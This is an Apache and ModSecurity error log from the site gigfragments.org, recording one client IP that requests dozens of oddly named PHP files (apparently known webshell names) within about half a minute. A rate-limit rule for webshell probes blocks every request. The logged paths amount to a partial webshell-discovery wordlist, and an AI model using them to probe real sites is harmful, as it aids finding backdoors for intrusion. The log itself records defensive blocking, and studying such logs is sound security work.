[Wed Jan 07 00:16:15.808970 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:3199] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aV01T1ajdn8P3hjgMYwyJgAAAUg"]
[Wed Jan 07 00:16:16.078162 2026] [:error] [pid 45959:tid 45981] [client 20.196.88.169:17561] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/X7x.php"] [unique_id "aV01UFajdn8P3hjgMYwyKAAAAVM"]
[Wed Jan 07 00:16:16.347035 2026] [:error] [pid 44904:tid 44955] [client 20.196.88.169:27638] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aV01UDtieuI1BJEZcvdqfQAAAE4"]
[Wed Jan 07 00:16:16.617286 2026] [:error] [pid 45959:tid 45976] [client 20.196.88.169:35392] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aV01UFajdn8P3hjgMYwyKgAAAU4"]
[Wed Jan 07 00:16:16.888334 2026] [:error] [pid 35140:tid 35154] [client 20.196.88.169:21802] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aV01UHoQaIDFMbT-XMwIfwAAAQw"]
[Wed Jan 07 00:16:17.162295 2026] [:error] [pid 35140:tid 35156] [client 20.196.88.169:3198] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xvent.php"] [unique_id "aV01UXoQaIDFMbT-XMwIgAAAAQ4"]
[Wed Jan 07 00:16:17.431381 2026] [:error] [pid 44905:tid 44979] [client 20.196.88.169:27588] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeu.php"] [unique_id "aV01Ubu7ufwWVst9EAshAAAAAIs"]
[Wed Jan 07 00:16:17.701969 2026] [:error] [pid 45959:tid 45985] [client 20.196.88.169:21762] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeu.php"] [unique_id "aV01UVajdn8P3hjgMYwyLQAAAVc"]
[Wed Jan 07 00:16:17.977351 2026] [:error] [pid 45012:tid 45038] [client 20.196.88.169:21750] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeu.php"] [unique_id "aV01URaMAxCuju1d0uZBkAAAANg"]
[Wed Jan 07 00:16:18.246936 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:35398] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zeu.php"] [unique_id "aV01Ulajdn8P3hjgMYwyMAAAAU0"]
[Wed Jan 07 00:16:18.516822 2026] [:error] [pid 45959:tid 45962] [client 20.196.88.169:21743] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jatuh.php"] [unique_id "aV01Ulajdn8P3hjgMYwyMgAAAUA"]
[Wed Jan 07 00:16:18.787418 2026] [:error] [pid 45959:tid 45982] [client 20.196.88.169:26884] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jatuh.php"] [unique_id "aV01Ulajdn8P3hjgMYwyNQAAAVQ"]
[Wed Jan 07 00:16:19.056486 2026] [:error] [pid 44903:tid 44909] [client 20.196.88.169:21751] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jatuh.php"] [unique_id "aV01U9hHqjs38zbkQPBRHQAAAAI"]
[Wed Jan 07 00:16:19.334010 2026] [:error] [pid 35140:tid 35162] [client 20.196.88.169:21778] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jatuh.php"] [unique_id "aV01U3oQaIDFMbT-XMwIgQAAARQ"]
[Wed Jan 07 00:16:19.603643 2026] [:error] [pid 35140:tid 35147] [client 20.196.88.169:21779] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aV01U3oQaIDFMbT-XMwIggAAAQU"]
[Wed Jan 07 00:16:19.872478 2026] [:error] [pid 44903:tid 44921] [client 20.196.88.169:21780] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aV01U9hHqjs38zbkQPBRIQAAAA4"]
[Wed Jan 07 00:16:20.144762 2026] [:error] [pid 44904:tid 44950] [client 20.196.88.169:18666] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aV01VDtieuI1BJEZcvdqgwAAAEk"]
[Wed Jan 07 00:16:20.416557 2026] [:error] [pid 44904:tid 44961] [client 20.196.88.169:26930] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/as.php"] [unique_id "aV01VDtieuI1BJEZcvdqhAAAAFQ"]
[Wed Jan 07 00:16:20.686363 2026] [:error] [pid 45959:tid 45986] [client 20.196.88.169:27600] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aV01VFajdn8P3hjgMYwyOQAAAVg"]
[Wed Jan 07 00:16:20.956010 2026] [:error] [pid 45012:tid 45027] [client 20.196.88.169:35407] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aV01VBaMAxCuju1d0uZBlQAAAM0"]
[Wed Jan 07 00:16:21.228414 2026] [:error] [pid 45012:tid 45030] [client 20.196.88.169:21700] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aV01VRaMAxCuju1d0uZBlgAAANA"]
[Wed Jan 07 00:16:21.500614 2026] [:error] [pid 44904:tid 44957] [client 20.196.88.169:27625] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/0o0.php"] [unique_id "aV01VTtieuI1BJEZcvdqhwAAAFA"]
[Wed Jan 07 00:16:21.771563 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:27613] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aV01VRaMAxCuju1d0uZBlwAAANM"]
[Wed Jan 07 00:16:22.040968 2026] [:error] [pid 45012:tid 45028] [client 20.196.88.169:35416] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aV01VhaMAxCuju1d0uZBmQAAAM4"]
[Wed Jan 07 00:16:22.310893 2026] [:error] [pid 45959:tid 45978] [client 20.196.88.169:27619] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aV01Vlajdn8P3hjgMYwyOgAAAVA"]
[Wed Jan 07 00:16:22.580170 2026] [:error] [pid 35140:tid 35152] [client 20.196.88.169:27589] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aV01VnoQaIDFMbT-XMwIigAAAQo"]
[Wed Jan 07 00:16:22.848666 2026] [:error] [pid 45012:tid 45023] [client 20.196.88.169:35393] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aV01VhaMAxCuju1d0uZBmgAAAMk"]
[Wed Jan 07 00:16:23.122587 2026] [:error] [pid 44904:tid 44954] [client 20.196.88.169:17569] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aV01VztieuI1BJEZcvdqigAAAE0"]
[Wed Jan 07 00:16:23.404293 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:27595] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aV01VxaMAxCuju1d0uZBnAAAANQ"]
[Wed Jan 07 00:16:23.672868 2026] [:error] [pid 45012:tid 45037] [client 20.196.88.169:27590] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/info.php"] [unique_id "aV01VxaMAxCuju1d0uZBnQAAANc"]
[Wed Jan 07 00:16:23.942072 2026] [:error] [pid 44903:tid 44933] [client 20.196.88.169:35396] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/css/index.php"] [unique_id "aV01V9hHqjs38zbkQPBRJQAAABg"]
[Wed Jan 07 00:16:41.996137 2026] [:error] [pid 45012:tid 45021] [client 20.196.88.169:29999] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zozla.php"] [unique_id "aV01aRaMAxCuju1d0uZBwwAAAMc"]
[Wed Jan 07 00:16:42.269636 2026] [:error] [pid 44905:tid 44983] [client 20.196.88.169:30621] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zozla.php"] [unique_id "aV01aru7ufwWVst9EAshFQAAAI8"]
[Wed Jan 07 00:16:42.539768 2026] [:error] [pid 44903:tid 44912] [client 20.196.88.169:26935] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zozla.php"] [unique_id "aV01athHqjs38zbkQPBRPAAAAAU"]
[Wed Jan 07 00:16:42.816289 2026] [:error] [pid 35140:tid 35147] [client 20.196.88.169:3753] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zozla.php"] [unique_id "aV01anoQaIDFMbT-XMwIogAAAQU"]
[Wed Jan 07 00:16:43.092631 2026] [:error] [pid 44903:tid 44908] [client 20.196.88.169:3767] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aV01a9hHqjs38zbkQPBRPgAAAAE"]
[Wed Jan 07 00:16:43.362098 2026] [:error] [pid 44904:tid 44949] [client 20.196.88.169:30595] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aV01aztieuI1BJEZcvdqoAAAAEg"]
[Wed Jan 07 00:16:43.632320 2026] [:error] [pid 44904:tid 44942] [client 20.196.88.169:3162] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aV01aztieuI1BJEZcvdqowAAAEE"]
[Wed Jan 07 00:16:43.904536 2026] [:error] [pid 35140:tid 35165] [client 20.196.88.169:27621] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aV01a3oQaIDFMbT-XMwIqQAAARc"]
[Wed Jan 07 00:16:44.174329 2026] [:error] [pid 44903:tid 44920] [client 20.196.88.169:3763] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctex1.php"] [unique_id "aV01bNhHqjs38zbkQPBRQwAAAA0"]
[Wed Jan 07 00:16:44.446907 2026] [:error] [pid 44903:tid 44926] [client 20.196.88.169:3728] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctex1.php"] [unique_id "aV01bNhHqjs38zbkQPBRRQAAABM"]
[Wed Jan 07 00:16:44.716768 2026] [:error] [pid 45012:tid 45016] [client 20.196.88.169:3458] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctex1.php"] [unique_id "aV01bBaMAxCuju1d0uZBxAAAAMI"]
[Wed Jan 07 00:16:44.988310 2026] [:error] [pid 45959:tid 45968] [client 20.196.88.169:3740] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ctex1.php"] [unique_id "aV01bFajdn8P3hjgMYwyZgAAAUY"]
[Wed Jan 07 00:16:45.258697 2026] [:error] [pid 44903:tid 44921] [client 20.196.88.169:3766] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aV01bdhHqjs38zbkQPBRSAAAAA4"]
[Wed Jan 07 00:16:45.530567 2026] [:error] [pid 45012:tid 45022] [client 20.196.88.169:3505] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aV01bRaMAxCuju1d0uZBxgAAAMg"]
[Wed Jan 07 00:16:45.805443 2026] [:error] [pid 44904:tid 44961] [client 20.196.88.169:3459] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aV01bTtieuI1BJEZcvdqswAAAFQ"]
[Wed Jan 07 00:16:46.085515 2026] [:error] [pid 45012:tid 45030] [client 20.196.88.169:27622] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lts.php"] [unique_id "aV01bhaMAxCuju1d0uZBxwAAANA"]
[Wed Jan 07 00:16:46.355927 2026] [:error] [pid 44903:tid 44917] [client 20.196.88.169:3745] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mmm.php"] [unique_id "aV01bthHqjs38zbkQPBRTAAAAAo"]
[Wed Jan 07 00:16:46.626252 2026] [:error] [pid 44904:tid 44942] [client 20.196.88.169:30593] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mmm.php"] [unique_id "aV01bjtieuI1BJEZcvdquwAAAEE"]
[Wed Jan 07 00:16:46.895134 2026] [:error] [pid 35140:tid 35147] [client 20.196.88.169:30642] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mmm.php"] [unique_id "aV01bnoQaIDFMbT-XMwItgAAAQU"]
[Wed Jan 07 00:16:47.164444 2026] [:error] [pid 44905:tid 44985] [client 20.196.88.169:3758] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mmm.php"] [unique_id "aV01b7u7ufwWVst9EAshIAAAAJE"]
[Wed Jan 07 00:16:47.434819 2026] [:error] [pid 44905:tid 44978] [client 20.196.88.169:29961] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aV01b7u7ufwWVst9EAshIgAAAIo"]
[Wed Jan 07 00:16:47.707222 2026] [:error] [pid 35140:tid 35166] [client 20.196.88.169:30626] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aV01b3oQaIDFMbT-XMwIuAAAARg"]
[Wed Jan 07 00:16:47.977482 2026] [:error] [pid 44904:tid 44946] [client 20.196.88.169:33529] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aV01bztieuI1BJEZcvdqxQAAAEU"]
[Wed Jan 07 00:16:48.249520 2026] [:error] [pid 35140:tid 35163] [client 20.196.88.169:17597] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Cok.php"] [unique_id "aV01cHoQaIDFMbT-XMwIuwAAARU"]
[Wed Jan 07 00:16:48.519610 2026] [:error] [pid 44905:tid 44983] [client 20.196.88.169:17582] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aV01cLu7ufwWVst9EAshJgAAAI8"]
[Wed Jan 07 00:16:48.788776 2026] [:error] [pid 45012:tid 45017] [client 20.196.88.169:29986] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lx.php"] [unique_id "aV01cBaMAxCuju1d0uZBzgAAAMM"]
